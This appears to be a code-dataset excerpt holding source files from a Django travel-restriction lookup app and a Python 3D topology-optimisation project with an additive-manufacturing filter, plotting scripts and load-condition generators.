return self.subject | {"/tourist/serializers.py": ["/tourist/models.py"], "/tourist/admin.py": ["/tourist/models.py"], "/tourist/views.py": ["/tourist/models.py", "/tourist/serializers.py", "/tourist/forms.py"], "/tourist/forms.py": ["/tourist/models.py"]} |
46,040 | FillipdotS/corona-traveler | refs/heads/master | /tourist/urls.py | from django.urls import path
from . import views
urlpatterns = [
path('api/country/', views.CountryList.as_view() ),
#path('api/country/<str:code>/', views.CountryRetrieve.as_view() ),
path('api/country/<str:code>/allowed/', views.CountryAllowedRetrieve.as_view() ),
path('feedback/', views.feedback_form, name='feedback'),
path('', views.index),
] | {"/tourist/serializers.py": ["/tourist/models.py"], "/tourist/admin.py": ["/tourist/models.py"], "/tourist/views.py": ["/tourist/models.py", "/tourist/serializers.py", "/tourist/forms.py"], "/tourist/forms.py": ["/tourist/models.py"]} |
46,041 | FillipdotS/corona-traveler | refs/heads/master | /tourist/admin.py | from django.contrib import admin
from .models import Country, Feedback
class CountryAdmin(admin.ModelAdmin):
search_fields = ('name', 'code')
list_display = ('code', 'name', 'restriction_level', 'eu_country')
class FeedbackAdmin(admin.ModelAdmin):
search_fields = ('email', 'subject', 'message', 'date_sent')
list_display = ('subject', 'email', 'message', 'date_sent')
admin.site.register(Country, CountryAdmin)
admin.site.register(Feedback, FeedbackAdmin) | {"/tourist/serializers.py": ["/tourist/models.py"], "/tourist/admin.py": ["/tourist/models.py"], "/tourist/views.py": ["/tourist/models.py", "/tourist/serializers.py", "/tourist/forms.py"], "/tourist/forms.py": ["/tourist/models.py"]} |
46,042 | FillipdotS/corona-traveler | refs/heads/master | /tourist/views.py | from django.http import HttpResponse
from django.shortcuts import render
from django.db.models import Q
from rest_framework import generics
from .models import Country
from .serializers import CountrySerializer, CountrySerializerBasic
from .forms import FeedbackForm
def index(request):
return render(request, 'tourist/index.html')
class CountryList(generics.ListAPIView):
queryset = Country.objects.order_by('name')
serializer_class = CountrySerializerBasic
#class CountryRetrieve(generics.RetrieveAPIView):
# queryset = Country.objects.all()
# serializer_class = CountrySerializer
# lookup_field = "code"
class CountryAllowedRetrieve(generics.ListAPIView):
serializer_class = CountrySerializerBasic
def get_queryset(self):
code = self.kwargs['code']
is_eu = Country.objects.get(code=code).eu_country
if (is_eu):
return Country.objects.filter(
Q(allowed_from__code=code) |
(Q(restriction_level=0) & ~Q(excluded_from__code=code)) |
Q(restriction_level=1) &
~Q(code=code)
).distinct()
return Country.objects.filter(
Q(allowed_from__code=code) |
(Q(restriction_level=0) & ~Q(excluded_from__code=code)) &
~Q(code=code)
).distinct()
def feedback_form(request):
if request.method == 'POST':
form = FeedbackForm(request.POST)
if form.is_valid():
form.save()
return HttpResponse(status=200)
return HttpResponse(status=422)
return HttpResponse(status=405) | {"/tourist/serializers.py": ["/tourist/models.py"], "/tourist/admin.py": ["/tourist/models.py"], "/tourist/views.py": ["/tourist/models.py", "/tourist/serializers.py", "/tourist/forms.py"], "/tourist/forms.py": ["/tourist/models.py"]} |
46,043 | FillipdotS/corona-traveler | refs/heads/master | /coronatourist/settings_dev.py | ALLOWED_HOSTS=[]
DEBUG=True | {"/tourist/serializers.py": ["/tourist/models.py"], "/tourist/admin.py": ["/tourist/models.py"], "/tourist/views.py": ["/tourist/models.py", "/tourist/serializers.py", "/tourist/forms.py"], "/tourist/forms.py": ["/tourist/models.py"]} |
46,044 | FillipdotS/corona-traveler | refs/heads/master | /tourist/forms.py | from django import forms
from .models import Feedback
class FeedbackForm(forms.ModelForm):
class Meta:
model = Feedback
fields = ('email', 'subject', 'message')
def __init__(self, *args, **kwargs):
super(FeedbackForm, self).__init__(*args, **kwargs)
self.fields['email'].required = False | {"/tourist/serializers.py": ["/tourist/models.py"], "/tourist/admin.py": ["/tourist/models.py"], "/tourist/views.py": ["/tourist/models.py", "/tourist/serializers.py", "/tourist/forms.py"], "/tourist/forms.py": ["/tourist/models.py"]} |
46,047 | bohan919/topopt3D | refs/heads/master | /AMFilter3D.py | # TRANSLATED PYTHON FUNCTION FOR AMFilter.m by LANGELAAR
import numpy as np
import numpy.matlib
import scipy.sparse as sps
from copy import deepcopy
def AMFilter(x, baseplate, *args):
# Possible uses:
# xi = AMfilter(x, baseplate) idem, with baseplate orientation specified
# [xi, df1dx, df2dx,...] = AMfilter(x, baseplate, df1dxi, df2dxi, ...)
# This includes also the transformation of design sensitivities
# where
# x : blueprint design (2D array), 0 <= x(i,j) <= 1
# xi: printed design (2D array)
# baseplate: character indicating baseplate orientation: 'N','E','S','W'
# default orientation is 'S'
# for 'X', the filter is inactive and just returns the input.
# df1dx, df1dxi etc.: design sensitivity (2D arrays)
#INTERNAL SETTINGS
P = 40
ep = 1e-4
xi_0 = 0.5 # parameters for smooth max/min functions
# INPUT CHECKS
if baseplate=='X':
# bypass option: filter does not modify the blueprint design
xi = x
varargout = args
return xi, varargout
baseplateUpper = baseplate.upper()
orientation = "SWNE"
nRot = orientation.find(baseplateUpper)
nSens = max(0, len(args))
# Orientation
x = np.rot90(x, nRot, axes=(0,2))
xi = np.zeros(np.shape(x))
lstArgs = list(args)
i = 0
for arg in lstArgs:
arg = np.rot90(arg, nRot,axes=(0,2))
lstArgs[i] = arg
i = i+1
args = tuple(lstArgs)
nelz, nely, nelx = np.shape(x)
#AM Filter
Ns = 5
Q = P + np.log(Ns)/np.log(xi_0)
SHIFT = 100*np.finfo(float).tiny **(1/P)
# SHIFT = 100*np.finfo(float).eps **(1/P)
BACKSHIFT = 0.95*Ns**(1/Q)*SHIFT**(P/Q)
Xi = np.zeros((nelz,nely,nelx))
keep = np.zeros((nelz, nely, nelx))
sq = np.zeros((nelz, nely, nelx))
# Baseline: identity
xi[:,nely-1,:] = x[:,nely-1,:]
for i in range(nely - 2, -1, -1): #nely-2,nely-3, 0
###
# xi[:,0,:] = x[:,0,:]
# for i in range(1, nely+1, 1): #1,2, nely
###
# compute maxima of current base row
cbr = np.zeros((nelz + 2, 1, nelx + 2))+ SHIFT
cbr[1:nelz+1,0,1:nelx+1] = xi[:,i+1,:] + SHIFT
###
keep[:, i,:] = (cbr[1:(nelz+1), 0, 0:nelx]**P + cbr[1:(nelz+1), 0, 1:(nelx+1)]**P + cbr[1:(nelz+1), 0, 2:(nelx+2)]**P +
cbr[0:nelz, 0, 1:(nelx+1)]**P + cbr[2:(nelz+2), 0, 1:(nelx+1)]**P)
Xi[:, i,:] = keep[:, i,:]**(1 / Q) - BACKSHIFT
sq[:, i,:] = np.sqrt((x[:, i,:] - Xi[:, i,:])** 2 + ep)
xi[:,i,:] = 0.5*((x[:,i,:]+Xi[:,i,:])-sq[:,i,:]+np.sqrt(ep))
# SENSITIVITIES
if nSens != 0:
dfxi = deepcopy(list(args))
dfx = deepcopy(list(args))
varLambda = np.zeros((nelz, nSens, nelx))
# from top to base layer
for i in range(nely - 1): # 0, ,nely-2
# smin sensitivity terms
dsmindx = 0.5 * (1 - (x[:, i,:] - Xi[:, i,:]) / sq[:, i,:])
dsmindXi = 1 - dsmindx
# smax sensitivity terms
cbr = np.zeros((nelz + 2, 1, nelx + 2)) + SHIFT
#+ SHIFT 看看能否避免nan
cbr[1:nelz + 1, 0, 1:nelx + 1] = xi[:, i + 1,:] + SHIFT
dmx = np.zeros((nelz, Ns, nelx))
for j in range(5):
if j <= 2:
dmx[:, j,:] = (P / Q) * keep[:, i,:]**(1 / Q - 1) * cbr[1:(nelz+1), 0, j:(nelx+j)]**(P - 1)
elif j == 3:
dmx[:, j,:] = (P / Q) * keep[:, i,:]**(1 / Q - 1) * cbr[0:nelz, 0, 1:(nelx+1)]**(P - 1)
elif j == 4:
dmx[:, j,:] = (P / Q) * keep[:, i,:]**(1 / Q - 1) * cbr[2:(nelz+2), 0, 1:(nelx+1)]**(P - 1)
### padding for dmx
# dmx_padding=mp.pad(dmx,(1,1),'constant')
dmx_padding=np.zeros((nelz+2, Ns, nelx+2))
dmx_padding[1:(nelz+1),:,1:(nelx+1)]=dmx[:,:,:]
###
for k in range(nSens):
dfx[k][:, i,:] = dsmindx * (dfxi[k][:, i,:] + varLambda[:, k,:])
preLambda = np.zeros((nelz + 2, 1, nelx + 2))
preLambda[1:(nelz + 1), 0, 1:(nelx + 1)] = (dfxi[k][:, i,:] + varLambda[:, k,:]) * dsmindXi
for nz in range(nelz):
for nx in range(nelx):
varLambda[nz, k, nx] = np.sum(
np.array([ preLambda[nz + 1, 0, nx ]*dmx_padding[nz+ 1, 2, nx],
preLambda[nz + 1, 0, nx + 1]*dmx_padding[nz + 1, 1, nx + 1],
preLambda[nz + 1, 0, nx + 2]*dmx_padding[nz + 1, 0, nx + 2],
preLambda[nz , 0, nx + 1]*dmx_padding[nz, 4, nx+ 1],
preLambda[nz + 2, 0, nx + 1]*dmx_padding[nz+2 , 3, nx + 1] ])
)
i = nely - 1
for k in range(nSens):
dfx[k][:, i,:] = dfxi[k][:, i,:] + varLambda[:, k,:]
# ORIENTATION
xi = np.rot90(xi,-nRot, axes=(0,2))
varargout = ()
for s in range(nSens):
varargout = varargout + (np.rot90(dfx[s],-nRot,axes=(0,2)) ,)
return xi, varargout | {"/top3DAM.py": ["/AMFilter3D.py"], "/test.py": ["/top3DAM.py"]} |
46,048 | bohan919/topopt3D | refs/heads/master | /3dPlot.py | # METHOD TO CREATE THE 3D VOXEL PLOTS
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
# EXAMPLE ARRAY TO PLOT
# a = np.load('xPrintNoAM.npy') # load the example output from top3D
# aplot = a.transpose(2,0,1) # transpose from top3D or top3DAM 3D numpy array to plot in the intuitive manner
# aplot = np.where(aplot > 0.7, aplot, 0) # Filter to prevent elements of density less than the threshold from plotting
# (PURELY FOR THE PURPOSE OF VISUALISATION)
a = np.array([[[0.1,0.2,0.3,0.4],[0.4,0.5,0.6,0.7],[0.7,0.3,0.2,1]],[[0.7,0.8,0.9,1],[1,0.1, 0,0.3],[0.4,0.3,0.2,0.1]]])
aplot = a.transpose(2,1,0) # transpose from standard 3D numpy array to plot in the intuitive manner
# z - height - 0th at the bottom, going upwards (e.g. a[n,:,:])
# y - depth (into the page) - 0th at the front (e.g. a[:,n,:])
# x - width - 0th at the left (e.g. a[:,:,n])
# Plotting with colour mapping
fig = plt.figure()
ax = fig.gca(projection='3d')
cmap = plt.get_cmap("Greys")
norm= plt.Normalize(aplot.min(), aplot.max())
# ax.voxels(np.ones_like(a), facecolors=cmap(norm(a)), edgecolor="black") # plotting all elements including the 0 ones [Not desirable for us]
ax.voxels(aplot, facecolors=cmap(norm(aplot))) # not plotting the element if the value is 0
ax.set_box_aspect(aplot.shape) # Plot in uniform aspect ratio (shape convention x,y,z)
plt.show() | {"/top3DAM.py": ["/AMFilter3D.py"], "/test.py": ["/top3DAM.py"]} |
46,049 | bohan919/topopt3D | refs/heads/master | /3dPresentation.py | import pyvista as pv
import numpy as np
xPrint = np.load('xPrint_40_20_10.npy') # load
xPrintNoAM = np.load('xPrintNoAM.npy') # load
# 3D PLOT
# convert numpy array to what pyvista wants
data = pv.wrap(xPrint)
dataNoAM = pv.wrap(xPrintNoAM)
# data.set_active_scalars("Spatial Cell Data")
# create plot
p = pv.Plotter()
p.add_volume(data, cmap="turbo")
# p.add_volume(data, cmap="turbo", opacity="sigmoid_5")
# p.add_mesh(data,cmap="viridis",show_edges=True)
# data.plot(opacity='linear')
p.show() | {"/top3DAM.py": ["/AMFilter3D.py"], "/test.py": ["/top3DAM.py"]} |
46,050 | bohan919/topopt3D | refs/heads/master | /condition_setting_fixedAR.py | # Used to set the input conditions (domain size,vf,load,BC)
# Inputs: (weight_factor doesn’t work for primary results and is a ‘fake’ input).
# fnno represents the number of point force.
# stype represents the boundary condition type,
# where 0 for cantilever beam,
# 1 for simply support beam,
# 2 for constrained cantilever beam
# 3 for four nodes fixed BC.
# With the use of ‘condition_setting_fixedAR.py’, the input condition can be randomly picked following the conditions with the variables of
# (nelx, nely, nelz,il, jl, kl, fx, fy, fz, loadnid, volfrac, stype).
# nelx, nely and nelz are the element dimension in x, y and z direction respectively. il, jl, kl are the load node position.
# loadnid is the id of the load node with the formula provided in top3D. Volfrac is the volume fraction and stype is the boundary condition
# To be used with top3DAM_final_strain_v3.py
# Created by Hanyang Dai in June 2021
import numpy as np
import random
def main(fnno,stype,weight_factor):
ar=1
volfrac=round(np.random.normal(loc=0.4, scale=0.07, size=None),2)
if volfrac <= 0.3:
volfrac=0.3
if volfrac >= 0.5:
volfrac=0.5
# ar=random.randint(0, 1) # 4 prepared aspect ratio
# if stype == 3:
# ar=random.randint(0,1) #The final aspect ratio condition only for stype=3
# at least 16 elements in one certain direction to show clear and meaningful structures when applying force in this direction
if ar == 0: #AR1
nelx=64
nely=16
nelz=8
rmin=1.2 #0.15*length
# the best one for plotting
if ar == 1: #AR2
# nelx=64
# nely=8
# nelz=16
# rmin=1.2 #0.15*l
# 64 16 16
#new aspect ratio
nelx=32
nely=16
nelz=16
rmin=1.2 #0.15*l
# not enough data in this direction
if ar == 2: #AR4
nelx=32
nely=8
nelz=32
rmin=1.2 #0.15*l
if ar == 3: #AR5 # only BC 2,3,4
nelx=16
nely=32
nelz=16
rmin=2.4 #0.15*l
il = np.arange(fnno)
jl = np.arange(fnno)
kl = np.arange(fnno)
fx = np.arange(fnno)
fy = np.arange(fnno)
fz = np.arange(fnno)
case = np.arange(fnno) # index to judge force aplly on which side
loadnid = np.arange(fnno)
if stype==0: #cantilever beam #set the potential force domian x: [nelx/2,nelx] y:[0,nely]
for i in range(fnno):
il[i] = nelx
jl[i] = random.randint(0, nely)
kl[i] = random.randint(0, nelz)
if stype==1: #simple supported beam
# use the area to do the random sampling as well as the use of the weighting_factor
for i in range(fnno):
il[i] = random.randint(0, nelx)
jl[i] = nely
kl[i] = random.randint(0, nelz)
if stype==2: # constrained cantilever beam
# use the area to do the random sampling as well as the use of the weighting_factor
for i in range(fnno):
il[i] = random.randint(0, nelx)
jl[i] = nely
kl[i] = random.randint(0, nelz)
if stype==3: #x: [0,nelx] y:[nely/2,nely] z:[o,nelz]
# use the area to do the random sampling as well as the use of the weighting_factor
for i in range(fnno):
il[i] = random.randint(0, nelx)
jl[i] = nely
kl[i] = random.randint(0, nelz)
for i in range(fnno): # 0 1 2 fnno-1
fx[i] = random.randint(-10, 10)
fy[i] = random.randint(-10, 10)
fz[i] = random.randint(-10, 10)
if fx[i] == 0 and fy[i] == 0 and fz[i] == 0:
fy[i]=10
loadnid[i] = kl[i] * (nelx + 1) * (nely + 1) + il[i] * (nely + 1) + (nely + 1 - jl[i]) # Node IDs
print('x size:', nelx)
print('y size:', nely)
print('z size:', nelz)
print('force position in x:', il)
print('force position in y:', jl)
print('force position in z:', kl)
print('force in x direction:', fx)
print('force in y direction:', fy)
print('force in z direction:', fz)
print('Volume fraction:',volfrac)
return nelx,nely,nelz,il, jl, kl, fx, fy, fz, loadnid,volfrac,rmin | {"/top3DAM.py": ["/AMFilter3D.py"], "/test.py": ["/top3DAM.py"]} |
46,051 | bohan919/topopt3D | refs/heads/master | /top3DAM.py | # TOPOLOGY OPTIMISATION BASED ON top88.mat WITH LANGELAAR'S AMFILTER FOR 2D BY BOHAN PENG - IMPERIAL COLLEGE LONDON 2021
# AMFILTER CALL TYPE 1 - OBTAIN xPrint only
# AMFILTER CALL TYPE 2 - OBTAIN xPrint and Sensitivities
# heaviside - 0: density filter only
# 1: density filter and heaviside filter
# DISCLAIMER - #
# The author reserves all rights but does not guaranty that the code is #
# free from errors. Furthermore, he shall not be liable in any event #
# caused by the use of the program. #
import numpy as np
from scipy.sparse import csr_matrix
from pypardiso import spsolve
import AMFilter3D
# GENERATE ELEMENT STIFFNESS MATRIX
def lk_H8(nu):
A = np.array([[32, 6, -8, 6, -6, 4, 3, -6, -10, 3, -3, -3, -4, -8],
[-48, 0, 0, -24, 24, 0, 0, 0, 12, -12, 0, 12, 12, 12]])
k = 1 / 144 * A.T @ np.array([[1], [nu]])
K1 = np.array([[k[0], k[1], k[1], k[2], k[4], k[4]],
[k[1], k[0], k[1], k[3], k[5], k[6]],
[k[1], k[1], k[0], k[3], k[6], k[5]],
[k[2], k[3], k[3], k[0], k[7], k[7]],
[k[4], k[5], k[6], k[7], k[0], k[1]],
[k[4], k[6], k[5], k[7], k[1], k[0]]])
K1 = K1.squeeze()
K2 = np.array([[k[8], k[7], k[11], k[5], k[3], k[6]],
[k[7], k[8], k[11], k[4], k[2], k[4]],
[k[9], k[9], k[12], k[6], k[3], k[5]],
[k[5], k[4], k[10], k[8], k[1], k[9]],
[k[3], k[2], k[4], k[1], k[8], k[11]],
[k[10], k[3], k[5], k[11], k[9], k[12]]])
K2 = K2.squeeze()
K3 = np.array([[k[5], k[6], k[3], k[8], k[11], k[7]],
[k[6], k[5], k[3], k[9], k[12], k[9]],
[k[4], k[4], k[2], k[7], k[11], k[8]],
[k[8], k[9], k[1], k[5], k[10], k[4]],
[k[11], k[12], k[9], k[10], k[5], k[3]],
[k[1], k[11], k[8], k[3], k[4], k[2]]])
K3 = K3.squeeze()
K4 = np.array([[k[13], k[10], k[10], k[12], k[9], k[9]],
[k[10], k[13], k[10], k[11], k[8], k[7]],
[k[10], k[10], k[13], k[11], k[7], k[8]],
[k[12], k[11], k[11], k[13], k[6], k[6]],
[k[9], k[8], k[7], k[6], k[13], k[10]],
[k[9], k[7], k[8], k[6], k[10], k[13]]])
K4 = K4.squeeze()
K5 = np.array([[k[0], k[1], k[7], k[2], k[4], k[3]],
[k[1], k[0], k[7], k[3], k[5], k[10]],
[k[7], k[7], k[0], k[4], k[10], k[5]],
[k[2], k[3], k[4], k[0], k[7], k[1]],
[k[4], k[5], k[10], k[7], k[0], k[7]],
[k[3], k[10], k[5], k[1], k[7], k[0]]])
K5 = K5.squeeze()
K6 = np.array([[k[13], k[10], k[6], k[12], k[9], k[11]],
[k[10], k[13], k[6], k[11], k[8], k[1]],
[k[6], k[6], k[13], k[9], k[1], k[8]],
[k[12], k[11], k[9], k[13], k[6], k[10]],
[k[9], k[8], k[1], k[6], k[13], k[6]],
[k[11], k[1], k[8], k[10], k[6], k[13]]])
K6 = K6.squeeze()
K1st = np.concatenate((K1, K2, K3, K4), axis=1)
K2nd = np.concatenate((K2.T, K5, K6, K3.T), axis=1)
K3rd = np.concatenate((K3.T, K6, K5.T, K2.T), axis=1)
K4th = np.concatenate((K4, K3, K2, K1.T), axis=1)
Ktot = np.concatenate((K1st, K2nd, K3rd, K4th), axis=0)
KE = 1/((nu+1)*(1-2*nu))*Ktot
return KE
def main(nelx, nely, nelz, volfrac, penal, rmin, heaviside):
# USER DEFINED PRINT ORIENTATION
baseplate = 'S'
# USER DEFINED LOOP PARAMETERS
maxloop = 1000
tolx = 0.01
displayflag = 0
# USER DEFINED MATERIAL PROPERTIES
E0 = 1
Emin = 1e-9
nu = 0.3
# USER DEFINED LOAD DoFs
il, jl, kl = np.meshgrid(nelx, 0, np.arange(nelz + 1))
loadnid = kl * (nelx + 1) * (nely + 1) + il * (nely + 1) + (nely + 1 - jl)
loaddof = 3 * np.ravel(loadnid, order='F') - 1 #CURRENTLY A 1D ARRAY (used for sparse later)
# USER DEFINED SUPPORT FIXED DOFS
iif, jf, kf = np.meshgrid(0, np.arange(nely + 1), np.arange(nelz + 1))
fixednid = kf * (nelx + 1) * (nely + 1) + iif * (nely + 1) + (nely + 1 - jf)
fixeddof = np.concatenate((3 * np.ravel(fixednid, order='F'), 3*np.ravel(fixednid, order='F')-1,
3*np.ravel(fixednid, order='F') - 2)) #CURRENTLY A 1D ARRAY (used for sparse later)
# PREPARE FE ANALYSIS
nele = nelx * nely * nelz
ndof = 3 * (nelx + 1) * (nely + 1) * (nelz + 1)
F = csr_matrix((-1 * np.ones(np.shape(loaddof)), (loaddof-1, np.ones(np.shape(loaddof))-1)),
shape=(ndof, 1))
U = np.zeros((ndof, 1))
freedofs = np.setdiff1d(np.arange(ndof) + 1, fixeddof)
KE = lk_H8(nu)
nodegrd = np.reshape(np.arange((nely + 1) * (nelx + 1)) + 1, (nely + 1, nelx + 1), order = 'F')
nodeids = np.reshape(nodegrd[0:-1, 0:-1], (nely * nelx, 1), order='F')
nodeidz = np.arange(0, (nelz - 1) * (nely + 1) * (nelx + 1) + 1, (nely + 1) * (nelx + 1))[np.newaxis]
nodeids = (np.matlib.repmat(nodeids, np.shape(nodeidz)[0], np.shape(nodeidz)[1])
+ np.matlib.repmat(nodeidz, np.shape(nodeids)[0], np.shape(nodeids)[1]))
edofVec = (3 * np.ravel(nodeids, order='F') + 1)[np.newaxis]
edofMat = (np.matlib.repmat(edofVec.T, 1, 24) +
np.matlib.repmat(np.concatenate((
np.array([0, 1, 2]), 3*nely + np.array([3, 4, 5, 0, 1, 2]), np.array([-3, -2, -1]),
3*(nely + 1)*(nelx + 1) + np.concatenate((
np.array([0, 1, 2]), 3*nely+np.array([3, 4, 5, 0, 1, 2]), np.array([-3, -2, -1])
))
)), nele, 1))
iK = np.reshape(np.kron(edofMat, np.ones((24, 1))).T, (24 * 24 * nele, 1), order='F')
jK = np.reshape(np.kron(edofMat, np.ones((1, 24))).T, (24 * 24 * nele, 1), order='F')
# PREPARE FILTER
iH = np.ones((int(nele * (2 * (np.ceil(rmin) - 1) + 1)** 2), 1))
iHdummy = []
jH = np.ones(np.shape(iH))
jHdummy = []
sH = np.zeros(np.shape(iH))
sHdummy = []
k = 0
#####################
for k1 in np.arange(nelz)+1:
for i1 in np.arange(nelx)+1:
for j1 in np.arange(nely)+1:
e1 = (k1 - 1) * nelx * nely + (i1 - 1) * nely + j1
for k2 in np.arange(max(k1 - (np.ceil(rmin) - 1), 1), min(k1 + (np.ceil(rmin) - 1), nelz) + 1):
for i2 in np.arange(max(i1 - (np.ceil(rmin) - 1), 1), min(i1 + (np.ceil(rmin) - 1), nelx) + 1):
for j2 in np.arange(max(j1 - (np.ceil(rmin) - 1), 1), min(j1 + (np.ceil(rmin) - 1), nely) + 1):
e2 = (k2 - 1) * nelx * nely + (i2 - 1) * nely + j2
if k < np.size(iH):
iH[k] = e1
jH[k] = e2
sH[k] = max(0, rmin - np.sqrt((i1 - i2)** 2 + (j1 - j2)** 2 + (k1 - k2)** 2))
else:
iHdummy.append(e1)
jHdummy.append(e2)
sHdummy.append(max(0, rmin - np.sqrt((i1 - i2)** 2 + (j1 - j2)** 2 + (k1 - k2)** 2)))
k = k + 1
#####################
iH = np.concatenate((iH, np.array(iHdummy).reshape((len(iHdummy), 1))))
jH = np.concatenate((jH, np.array(jHdummy).reshape((len(jHdummy), 1))))
sH = np.concatenate((sH, np.array(sHdummy).reshape((len(sHdummy), 1))))
H = csr_matrix((np.squeeze(sH), (np.squeeze(iH.astype(int)) - 1, np.squeeze(jH.astype(int)) - 1)))
Hs = csr_matrix.sum(H, axis=0).T
if heaviside == 0:
# INITIALIZE ITERATION
x = np.tile(volfrac, [nelz, nely, nelx])
xPhys = x
######## AMFILTER CALL TYPE 1 #########
xPrint, _ = AMFilter3D.AMFilter(xPhys, baseplate)
##################################
loop = 0
change = 1
# START ITERATION
while change > tolx and loop < maxloop:
loop = loop + 1
# FE ANALYSIS
sK = np.reshape(np.ravel(KE, order='F')[np.newaxis].T @ (Emin+xPrint.transpose(0,2,1).ravel(order='C')[np.newaxis]**penal*(E0-Emin)),(24*24*nele,1),order='F')
K = csr_matrix((np.squeeze(sK), (np.squeeze(iK.astype(int)) - 1, np.squeeze(jK.astype(int)) - 1)))
K = (K + K.T) / 2
U[freedofs - 1,:] = spsolve(K[freedofs - 1,:][:, freedofs - 1], F[freedofs - 1,:])[np.newaxis].T
# OBJECTIVE FUNCTION AND SENSITIVITY ANALYSIS
ce = np.reshape(np.sum((U[edofMat - 1].squeeze() @ KE) * U[edofMat - 1].squeeze(), axis=1), (nelz, nelx, nely), order = 'C').transpose(0,2,1)
c = np.sum(np.sum(np.sum(Emin + xPrint ** penal * (E0 - Emin) * ce))) # REPLACE xPhys with xPrint
dc = -penal * (E0 - Emin) * (xPrint ** (penal - 1)) * ce # REPLACE xPhys with xPrint
dv = np.ones((nelz, nely, nelx))
######### AMFILTER CALL TYPE 2 #########
xPrint, senS = AMFilter3D.AMFilter(xPhys, baseplate, dc, dv)
dc = senS[0]
dv = senS[1]
###################################
# FILTERING AND MODIFICATION OF SENSITIVITIES
dc = np.array((H @ (dc.transpose(0,2,1).ravel(order='C')[np.newaxis].T/Hs))).reshape((nelz, nelx, nely), order = 'C').transpose(0,2,1)
dv = np.array((H @ (dv.transpose(0,2,1).ravel(order='C')[np.newaxis].T/Hs))).reshape((nelz, nelx, nely), order = 'C').transpose(0,2,1)
# OPTIMALITY CRITERIA UPDATE
l1 = 0
l2 = 1e9
move = 0.05
while (l2 - l1) / (l1 + l2) > 1e-3 and l2>1e-9:
lmid = 0.5 * (l2 + l1)
xnew_step1 = np.minimum(x + move, x * np.sqrt(-dc / dv / lmid))
xnew_step2 = np.minimum(1, xnew_step1)
xnew_step3 = np.maximum(x - move, xnew_step2)
xnew = np.maximum(0, xnew_step3)
xPhys = np.array((H @ (xnew.transpose(0,2,1).ravel(order='C')[np.newaxis].T)/Hs)).reshape((nelz, nelx, nely), order = 'C').transpose(0,2,1)
######### AMFILTER CALL TYPE 1 ######
xPrint, _ = AMFilter3D.AMFilter(xPhys, baseplate)
#################################
if np.sum(xPrint.ravel(order='C')) > volfrac * nele: # REPLACE xPhys with xPrint
l1 = lmid
else:
l2 = lmid
change = np.max(np.absolute(np.ravel(xnew, order='F') - np.ravel(x, order='F')))
x = xnew
print("it.: {0} , ch.: {1:.3f}, obj.: {2:.4f}, Vol.: {3:.3f}".format(
loop, change, c, np.mean(xPrint.ravel(order='C'))))
elif heaviside == 1:
beta = 1
# INITIALIZE ITERATION
x = np.tile(volfrac, [nelz, nely, nelx])
xTilde = x
xPhys = 1 - np.exp(-beta * xTilde) + xTilde * np.exp(-beta)
######## AMFILTER CALL TYPE 1 #########
xPrint, _ = AMFilter3D.AMFilter(xPhys, baseplate)
##################################
loop = 0
loopbeta = 0
change = 1
# START ITERATION
while change > tolx and loop < maxloop:
loop = loop + 1
loopbeta = loopbeta + 1
# FE ANALYSIS
sK = np.reshape(np.ravel(KE, order='F')[np.newaxis].T @ (Emin+xPrint.transpose(0,2,1).ravel(order='C')[np.newaxis]**penal*(E0-Emin)),(24*24*nele,1),order='F')
K = csr_matrix((np.squeeze(sK), (np.squeeze(iK.astype(int)) - 1, np.squeeze(jK.astype(int)) - 1)))
K = (K + K.T) / 2
U[freedofs - 1,:] = spsolve(K[freedofs - 1,:][:, freedofs - 1], F[freedofs - 1,:])[np.newaxis].T
# OBJECTIVE FUNCTION AND SENSITIVITY ANALYSIS
ce = np.reshape(np.sum((U[edofMat - 1].squeeze() @ KE) * U[edofMat - 1].squeeze(), axis=1), (nelz, nelx, nely), order = 'C').transpose(0,2,1)
c = np.sum(np.sum(np.sum(Emin + xPrint ** penal * (E0 - Emin) * ce))) # REPLACE xPhys with xPrint
dc = -penal * (E0 - Emin) * (xPrint ** (penal - 1)) * ce # REPLACE xPhys with xPrint
dv = np.ones((nelz, nely, nelx))
######### AMFILTER CALL TYPE 2 #########
xPrint, senS = AMFilter3D.AMFilter(xPhys, baseplate, dc, dv)
dc = senS[0]
dv = senS[1]
###################################
# FILTERING AND MODIFICATION OF SENSITIVITIES
dx = beta * np.exp(-beta * xTilde) + np.exp(-beta)
dc = np.array((H @ (dc.transpose(0, 2, 1).ravel(order='C')[np.newaxis].T *
dx.transpose(0, 2, 1).ravel(order='C')[np.newaxis].T
/Hs))).reshape((nelz, nelx, nely), order = 'C').transpose(0,2,1)
dv = np.array((H @ (dv.transpose(0, 2, 1).ravel(order='C')[np.newaxis].T *
dx.transpose(0, 2, 1).ravel(order='C')[np.newaxis].T
/Hs))).reshape((nelz, nelx, nely), order = 'C').transpose(0,2,1)
# OPTIMALITY CRITERIA UPDATE
l1 = 0
l2 = 1e9
move = 0.05
while (l2 - l1) / (l1 + l2) > 1e-3:
lmid = 0.5 * (l2 + l1)
xnew_step1 = np.minimum(x + move, x * np.sqrt(-dc / dv / lmid))
xnew_step2 = np.minimum(1, xnew_step1)
xnew_step3 = np.maximum(x - move, xnew_step2)
xnew = np.maximum(0, xnew_step3)
xTilde = np.array((H @ (xnew.transpose(0,2,1).ravel(order='C')[np.newaxis].T)/Hs)).reshape((nelz, nelx, nely), order = 'C').transpose(0,2,1)
xPhys = 1 - np.exp(-beta * xTilde) + xTilde * np.exp(-beta)
######### AMFILTER CALL TYPE 1 ######
xPrint, _ = AMFilter3D.AMFilter(xPhys, baseplate)
#################################
if np.sum(xPrint.ravel(order='C')) > volfrac * nele: # REPLACE xPhys with xPrint
l1 = lmid
else:
l2 = lmid
change = np.max(np.absolute(np.ravel(xnew, order='F') - np.ravel(x, order='F')))
x = xnew
if beta < 512 and (loopbeta >= 50 or change <= 0.01):
beta = 2 * beta
loopbeta = 0
change = 1
print("Parameter beta increased to {0}. \n".format(beta))
print("it.: {0} , ch.: {1:.3f}, obj.: {2:.4f}, Vol.: {3:.3f}".format(
loop, change, c, np.mean(xPrint.ravel(order='C'))))
return xPrint
| {"/top3DAM.py": ["/AMFilter3D.py"], "/test.py": ["/top3DAM.py"]} |
46,052 | bohan919/topopt3D | refs/heads/master | /trilinear.py | import numpy as np
def trilinear_density(self,coords):
"""
This method creates a trilinearly interpolated density map out of the
corner density values provided by the user.
:param coords: corner density values, in the form [d_000,d_001, ...]
where values are in order xyz and 0 or 1s determine which face the
values refer to.
:type coords: dict
:return: D, (trilinear) density matrix
:rtype: np array
"""
D = np.zeros((self.L[0],self.L[1],self.L[2]))
for i in range(self.L[1]):
for j in range(self.L[2]):
for k in range(self.L[0]):
